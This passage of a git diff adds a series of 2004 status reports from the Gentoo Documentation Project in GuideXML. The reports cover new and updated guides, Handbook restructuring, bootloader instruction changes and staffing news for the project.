+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Discussion on GLEP10</uri></li>
+<li><uri link="#doc_chap4">Individual Status Updates</uri></li>
+<li><uri link="#doc_chap5">Policy Update</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/eclass-howto.xml">Eclass HOWTO</uri> has been updated to
+reflect the kde eclass changes.
+</p>
+
+<p>
+The <uri link="/doc/en/policy.xml">Gentoo Development Policy</uri> has been
+updated to include a reference to the <uri
+link="/doc/en/metadata.xml">metadata</uri> document.
+</p>
+
+<p>
+The <uri link="/doc/en/faq.xml">Gentoo FAQ</uri> has been updated.
+</p>
+
+<p>
+A <uri link="/doc/en/gentoo-sparc-quickinstall.xml">Sparc Quick Installation
+Reference</uri> has been added.
+</p>
+
+<p>
+The 2.6 koutput docs for <uri link="/doc/en/2.6-koutput-user.xml">users</uri>
+and <uri link="/doc/en/2.6-koutput.xml">developers</uri> have been put online.
+</p>
+
+<p>
+The <uri link="/doc/en/handbook/handbook.xml">Gentoo Handbook</uri> has been
+updated with:
+</p>
+
+<ul>
+  <li>
+    Instructions to run <c>genkernel --menuconfig all</c> in case the boot
+    partition isn't ext2 or ext3
+  </li>
+  <li>
+    Instructions pertaining to the Knoppix and "Other distribution" installation
+    methods have been moved out into the <uri
+    link="/doc/en/altinstall.xml">Gentoo Alternative Installation Manual</uri>
+  </li>
+  <li>
+    Fix several PPC issues
+  </li>
+  <li>
+    Fix several SPARC issues
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Discussion on GLEP10</title>
+<section>
+<body>
+
+<p>
+A lengthy <uri
+link="http://thread.gmane.org/gmane.linux.gentoo.documentation/1088">discussion</uri>
+on gentoo-doc has emerged regarding the <uri
+link="http://www.gentoo.org/proj/en/glep/glep-0010.html">Internationalisation
+proposal (GLEP10)</uri>.
+</p>
+
+<p>
+<mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail> has also rewritten
+the GLEP10 proposal and posted it for discussion on gentoo-doc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Individual Status Updates</title>
+<section>
+<body>
+
+<p>
+<uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/1153">Marcelo
+Goncalves de Azambuja</uri> has posted his personal status update.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Policy Update</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/doc-policy.xml">Gentoo Documentation Policy</uri> has
+been updated. More information about the changes have been posted to <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/1172">gentoo-doc@gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040415.xml b/xml/htdocs/proj/en/gdp/status/status_20040415.xml
new file mode 100644
index 00000000..efcc3e84
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040415.xml
@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>January 2, 2003</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Separating Architecture Chapters</uri></li>
+<li><uri link="#doc_chap4">Gentoo Handbook Desktop Configuration</uri></li>
+<li><uri link="#doc_chap5">In the Running...</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+A huge number of documents have been updated. Amongst them are:
+</p>
+
+<ul>
+  <li><uri link="/doc/en/printing-howto.xml">Gentoo Printing HOWTO</uri></li>
+  <li><uri link="/doc/en/virt-mail-howto.xml">Virtual Mailhosting HOWTO</uri></li>
+  <li><uri link="/doc/en/udev-guide.xml">Gentoo uDev Guide</uri></li>
+  <li><uri link="/doc/en/guide-localization.xml">Gentoo Localization Guide</uri></li>
+  <li><uri link="/doc/en/ltsp.xml">Gentoo LTSP Guide</uri></li>
+</ul>
+
+<p>
+Many new documents have been put online as well. These include:
+</p>
+
+<ul>
+  <li><uri link="/doc/en/gentoo-sparc-faq.xml">Gentoo/SPARC FAQ</uri></li>
+  <li><uri link="/doc/en/gentoo-sparc-netboot.xml">Gentoo/SPARC NetBoot HOWTO</uri></li>
+  <li><uri link="/doc/en/gentoo-x86-tipsntricks.xml">Gentoo/x86 Installation Tips 'n Tricks</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Separating Architecture Chapters</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has separated the main
+architecture-specific chapters of the Gentoo Handbook. This allows for
+quasi-complete separation of the individual installation instructions
+architecture-wise. 
+</p>
+
+<p>
+Not all references to other architectures are hidden though as the other
+chapters (which contain little references and architecture-specific
+instructions) aren't divided. Any remark from the user to hide those
+instructions as well will probably be marked as WONTFIX.
+</p>
+
+<p>
+We also have a <uri link="/doc/en/handbook/index.xml#faq">Gentoo Handbook 
+FAQ</uri> for those interested in the Gentoo Handbook development decisions.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook Desktop Configuration</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has started writing Part 3
+of the Gentoo Handbook, concentrating on the Desktop configuration of a Gentoo
+Linux system. The <uri link="/doc/en/handbook/draft/desktop.xml">draft</uri> can
+be found online if you're interested (but don't see this as an official
+resource, the link may change without prior notice).
+</p>
+
+<p>
+At this moment, the text on installing XFree is finished yet needs to be
+rewritten (or updated) to reflect installing xorg-x11. There are three
+succeeding chapters (KDE, GNOME and Window Managers) in which KDE is finished
+and the other chapters ready for more contributions.
+</p>
+
+<p>
+What still needs to be written are information on Samba usage, networking
+(e-mail and news and such), burning CDs, multimedia, ... so yes, still lots of
+chapters need to be written. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>In the Running...</title>
+<section>
+<body>
+
+<p>
+<mail link="cam@gentoo.org">Camille Huot</mail> has started writing a Gentoo
+EVMS Guide and <mail link="blubber@gentoo.org">Tiemo Kieft</mail> is writing a
+VPN Howto.
+</p>
+
+<p>
+There are also some gentoo-doc@ subscribers interested in transforming various
+forum threads into GuideXML.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040503.xml b/xml/htdocs/proj/en/gdp/status/status_20040503.xml
new file mode 100644
index 00000000..a62f5c52
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040503.xml
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.1</version>
+<date>May 03, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Gentoo Handbook part III</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+<mail link="pdog4x4@yahoo.com">Joshua Preston</mail> has written a <uri
+link="/doc/en/colinux-howto.xml">coLinux HOWTO</uri>. Don't know what coLinux
+is? Think UML but for Windows :)
+</p>
+
+<p>
+The <uri link="/doc/en/handbook">Gentoo Handbook</uri>'s have been updated to
+reflect the 2004.1 installation instructions. 
+</p>
+
+<p>
+The <uri link="/doc/en/desktop.xml">Gentoo Desktop Configuration Guide</uri> has
+been updated with many thanks to numerous contributions through <uri
+link="http://bugs.gentoo.org">bugzilla</uri>.
+</p>
+
+<p>
+The <uri link="/doc/en/udev-guide.xml">uDev Guide</uri> is updated to reflect
+the new baselayout (which is in stable) and with a new section on Q&amp;A.
+</p>
+
+<p>
+The <uri link="/doc/en/uml.xml">UML Guide</uri> is updated to be usable again :)
+</p>
+
+<p>
+The <uri link="/doc/en/gentoo-security.xml">Gentoo Security Guide</uri> now has
+a section about <c>glsa-check</c> in it.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook part III</title>
+<section>
+<body>
+
+<p>
+The third part of the Gentoo Handbook is progressing slowly. Currently, we have
+the following chapters ready:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=1">
+      The X Server
+    </uri>, which covers installation and configuration of the Xorg X Server
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=2">
+      The K Desktop Environment
+    </uri> in which you learn how to install and configure KDE
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=3">
+      The GNOME Environment
+    </uri> in which you learn how to install and configure GNOME
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=4">
+      The various Window Managers
+    </uri> which contains tips and tricks for Fluxbox, OpenBox and is open for
+    suggestions regarding other window managers :)
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=5">
+      Getting Sound to Work
+    </uri>, an improved version of our <uri link="/doc/en/alsa-guide.xml">ALSA
+    Guide</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=6">
+      What about 3D Acceleration
+    </uri> which is the migration of our <uri link="/doc/en/dri-howto.xml">DRI
+    Howto</uri> into the Gentoo Handbook
+  </li>
+</ul>
+
+<p>
+The only chapter remaining is called <uri
+link="/doc/en/handbook/draft/desktop.xml?part=1&amp;chap=7">Integrating in a
+Network</uri> and should focus on how users can integrate their Gentoo system in
+a Windows environment, providing interoptability using SAMBA. 
+</p>
+
+<p>
+The main idea is to release this third part as "official" (after a few QA
+measures) and add additional chapters when deemed appropriate. This because we
+don't want to keep the documentation hidden from the users, while we know that
+there are still many subjects regarding desktop configuration that aren't
+covered yet.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040517.xml b/xml/htdocs/proj/en/gdp/status/status_20040517.xml
new file mode 100644
index 00000000..dc38fdbe
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040517.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>May 17, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Gentoo Handbook Change</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/distcc.xml">DistCC Guide</uri> has been updated
+thoroughly.
+</p>
+
+<p>
+The <uri link="/doc/en/handbook">Gentoo Handbook</uri> has been updated with:
+</p>
+
+<ul>
+  <li>stage1 and stage2 can only be used with a working network connection</li>
+  <li>packages cd is only useful with stage3+GRP installations</li>
+  <li>add information regarding --deep using <c>emerge world</c></li>
+</ul>
+
+<p>
+The <uri link="/doc/en/diskless-howto.xml">Diskless HOWTO</uri> now has
+correctly functioning <c>rsync</c> commands.
+</p>
+
+<p>
+A new asset to the documentation repository is the <uri
+link="/doc/en/obpreference.xml">OpenBoot PROM Reference</uri> for the SPARC
+architecture.
+</p>
+
+<p>
+Another new asset is the <uri link="/doc/en/quick-samba-howto.xml">Quick Samba
+HOWTO</uri>.
+</p>
+
+<p>
+The <uri link="/doc/en/gentoo-security.xml">Gentoo Security Guide</uri> now has
+a MySQL section as well.
+</p>
+
+<p>
+Gregorio Guidi has written a <uri link="/doc/en/gentoo-upgrading.xml">Gentoo
+Upgrading Guide</uri> which covers all aspects about upgrading a Gentoo system,
+including information on profiles and when to change one profile to another.
+</p>
+
+<p>
+A couple of new desktop-specific guides are added as well:
+</p>
+
+<ul>
+  <li>
+    The <uri link="/doc/en/xorg-config.xml">Xorg Configuration HOWTO</uri>
+    focuses on the installation and configuration of Xorg
+  </li>
+  <li>
+    The <uri link="/doc/en/kde-config.xml">KDE Configuration HOWTO</uri> focuses
+    on the installation and configuration of KDE
+  </li>
+  <li>
+    The <uri link="/doc/en/gnome-config.xml">GNOME Configuration HOWTO</uri>
+    focuses on the installation and configuration of GNOME
+  </li>
+</ul>
+
+<p>
+Finally, the <uri link="/doc/en/policy.xml">Gentoo Development Policy</uri> and
+<uri link="/doc/en/gentoo-howto.xml">Gentoo Ebuild/Developer HOWTO</uri> have
+been updated with the correct versioning information for Portage.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Handbook Change</title>
+<section>
+<body>
+
+<p>
+In a lengthy <uri
+link="http://article.gmane.org/gmane.linux.gentoo.documentation/1349">e-mail</uri>
+on the gentoo-doc mailinglist <mail link="swift@gentoo.org">Sven
+Vermeulen</mail> proposes <e>not</e> to finish the third part of the Gentoo
+handbook due to several reasons.
+</p>
+
+<p>
+Instead, all desktop-related documentation will be linked from a <uri
+link="/doc/en/desktop.xml">central location</uri> (where the Desktop
+Configuration Guide is situated) and updated to contain the latest and
+greatest information.
+</p>
+
+<p>
+All already-written chapters for the third part will be migrated to individual
+guides and a request is posed for more contributions regarding desktop-related
+items, such as a Laptop-HOWTO.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040730.xml b/xml/htdocs/proj/en/gdp/status/status_20040730.xml
new file mode 100644
index 00000000..c1046ded
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040730.xml
@@ -0,0 +1,168 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>July 30, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Xavier Neys as new Operational Lead</uri></li>
+<li><uri link="#doc_chap4">Bootloader Instruction Changes</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+With the new 2004.2 release you can already guess that the <uri
+link="http://www.gentoo.org/doc/en/handbook">Gentoo Handbook</uri> has been
+updated thoroughly. But that's not the only thing that was. 
+</p>
+
+<p>
+A new document called the <uri
+link="http://www.gentoo.org/doc/en/home-router-howto.xml">Home Router
+Guide</uri> will be added soonish to the Gentoo Documentation repository 
+thanks to <mail link="vapier@gentoo.org">Mike Frysinger</mail>. This document 
+covers the installation and configuration of a Gentoo-based router for home and 
+small office users.
+</p>
+
+<p>
+The <uri link="http://www.gentoo.org/doc/en/portage-manual.xml">Gentoo Portage
+Manual</uri> has received many updates to be in sync with the latest Portage
+version.
+</p>
+
+<p>
+The <uri link="http://www.gentoo.org/doc/en/gentoo-kernel.xml">Gentoo Kernel
+Guide</uri> has been updated to be in sync with the latest kernel sources that
+we provide.
+</p>
+
+<p>
+The <uri link="http://www.gentoo.org/doc/en/faq.xml">Gentoo FAQ</uri> now
+contains the instructions for burning ISOs (which was previously in all Gentoo
+Handbooks). It also contains information on <c>numlockx</c> for GNOME 2.6.
+</p>
+
+<p>
+The <uri link="http://www.gentoo.org/doc/en/desktop.xml">Gentoo Desktop
+Documentation Resources</uri> has substituted the old Desktop Configuration
+Guide. The installation of <c>xorg-x11</c>, <c>kde</c>, <c>gnome</c>, etc. are
+now all covered by individual guides.
+</p>
+
+<p>
+We now also have a <uri
+link="/doc/en/handbook/handbook-arm.xml">Gentoo/ARM</uri> and <uri
+link="/doc/en/handbook/draft/handbook-ppc64.xml">Gentoo/PPC64</uri> Handbook.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Xavier Neys as new Operational Lead</title>
+<section>
+<body>
+
+<p>
+As announced on gentoo-dev@gentoo.org and gentoo-doc@gentoo.org, <mail
+link="neysx@gentoo.org">Xavier Neys</mail> has now taken the job as Operational
+Manager for the <uri link="http://www.gentoo.org/proj/en/gdp">Gentoo
+Documentation Project</uri>.
+</p>
+
+<p>
+Together with <mail link="swift@gentoo.org">Sven Vermeulen</mail> Xavier will
+make sure that the Gentoo Documentation Project continues to grow and produce 
+high-quality documentation.
+</p>
+
+<p>
+See <uri>http://article.gmane.org/gmane.linux.gentoo.documentation/1435</uri>
+for the official announcement.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Bootloader Instruction Changes</title>
+<section>
+<body>
+
+<p>
+The documentation team is now working on a change in the installation
+instructions which will move the bootloader installation and configuration
+towards the end of the installation process. 
+</p>
+
+<p>
+Such a change is needed for better readability (since we had Gentoo/MIPS and
+Gentoo/PPC bootloader instructions <e>after</e> rebooting) and to update the
+GRUB installation instructions to use <c>grub-install</c> instead of the tedious
+and error-prone <c>grub</c> interactive commands.
+</p>
+
+<p>
+The updated instructions are currently sitting in our draft repository (<uri
+link="/doc/en/handbook/draft/handbook-x86.xml">x86</uri>, <uri
+link="/doc/en/handbook/draft/handbook-alpha.xml">alpha</uri>, <uri
+link="/doc/en/handbook/draft/handbook-amd64.xml">amd64</uri>, <uri 
+link="/doc/en/handbook/draft/handbook-arm.xml">arm</uri>, <uri
+link="/doc/en/handbook/draft/handbook-hppa.xml">hppa</uri>, <uri
+link="/doc/en/handbook/draft/handbook-mips.xml">mips</uri>, <uri
+link="/doc/en/handbook/draft/handbook-ppc.xml">ppc</uri>, <uri 
+link="/doc/en/handbook/draft/handbook-ppc64.xml">ppc64</uri>, <uri
+link="/doc/en/handbook/draft/handbook-sparc.xml">sparc</uri>) until they are
+thoroughly verified. Then they will be merged in the official location.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040807.xml b/xml/htdocs/proj/en/gdp/status/status_20040807.xml
new file mode 100644
index 00000000..020d0e15
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040807.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>August 07, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <b><uri link="/doc/en/su-x.xml">Quick HOWTO on su with X</uri></b> is a new
+document that covers switching between users graphically. 
+</p>
+
+<p>
+The <b><uri link="/doc/en/gentoo-x86-tipsntricks.xml">Gentoo Installation Tips
+'n Tricks</uri></b> document has been extended with a section on <e>Recovering
+from a malfunctioning installation</e>.
+</p>
+
+<p>
+The <b><uri link="/doc/en/gentoo-security.xml">Gentoo Security Guide</uri></b>
+has been thoroughly updated with rewrites of various paragraphs.
+</p>
+
+<p>
+The <b><uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri></b> has been
+updated with:
+</p>
+
+<ul>
+  <li>added instructions on the various <path>/etc/portage</path> files</li>
+  <li>moved the bootloader instructions to the end of the document</li>
+  <li>changed the GRUB installation instructions with grub-install</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20040924.xml b/xml/htdocs/proj/en/gdp/status/status_20040924.xml
new file mode 100644
index 00000000..dbdb1867
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20040924.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status_20040924.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>September 24, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Roadmap Reincarnation</uri></li>
+<li><uri link="#doc_chap4">Printable Documentation Update</uri></li>
+<li><uri link="#doc_chap5">Using a consistent naming for languages</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The Gentoo Handbook now has information on <c>emerge depclean</c> and a couple
+of paragraphs about Portage' SLOT feature.
+</p>
+
+<p>
+The Gentoo Handbook has also been extended with information about the various
+reasons why a package can be masked and how to resolve it (if you want to).
+</p>
+
+<p>
+The GRUB manual installation instructions are now reinstated in the Gentoo
+Handbook on popular request.
+</p>
+
+<p>
+The <uri link="/doc/en/openafs.xml">OpenAFS Guide</uri> has been extended by
+<mail link="fnjordy@gmail.com">Steven McCoy</mail> with a section on PAM
+authentication against the KA server.
+</p>
+
+<p>
+Thanks to <mail link="chriswhite@gentoo.org">Chris White</mail> we now have a
+document on <uri link="/doc/en/shoutcast-config.xml">Configuring
+SHOUTcast</uri>.
+</p>
+
+<p>
+Thanks to <mail link="fragfred@gmx.de">Dennis Nienhüser</mail> we now have a
+document on <uri link="/doc/en/power-management-guide.xml">Power
+Management</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Roadmap Reincarnation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/proj/en/gdp/roadmap.xml">GDP Roadmap</uri> has been
+reinitialised and updated. It now contains (mainly) the bugs and issues that we
+cannot easily fix ourselves without proper input.
+</p>
+
+<p>
+This can be due to insufficient resources, lack of knowledge or other aspects
+that make it difficult for the GDP to update the document. So all contributions
+are greatly welcomed!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Printable Documentation Update</title>
+<section>
+<body>
+
+<p>
+<mail link="neysx@gentoo.org">Xavier Neys</mail> has updated our XSL stylesheets
+so that users can now click on "Print" on the top right page of the document of
+which they want to view the printer-friendly version.
+</p>
+
+<p>
+So no more manually adding <path>?style=printable</path> to the URL. The patch
+also cleans up a lot of XSL code (it even obsoletes certain XSL files) so it's
+greatly appreciated. Thank you Xavier!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Using a consistent naming for languages</title>
+<section>
+<body>
+
+<p>
+As reported in <uri link="http://bugs.gentoo.org/show_bug.cgi?id=64201">bug
+#64201</uri> our language directories aren't named consistently. <mail
+link="bennyc@gentoo.org">Benny Chuang</mail> has renamed cn and tw to zh_cn and
+zh_tw respectively to be consistent with the pt and pt_br naming we use to
+distinguish Portuguese variants.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20041021.xml b/xml/htdocs/proj/en/gdp/status/status_20041021.xml
new file mode 100644
index 00000000..31891827
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20041021.xml
@@ -0,0 +1,162 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status_20041021.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.1</version>
+<date>October 21, 2004</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
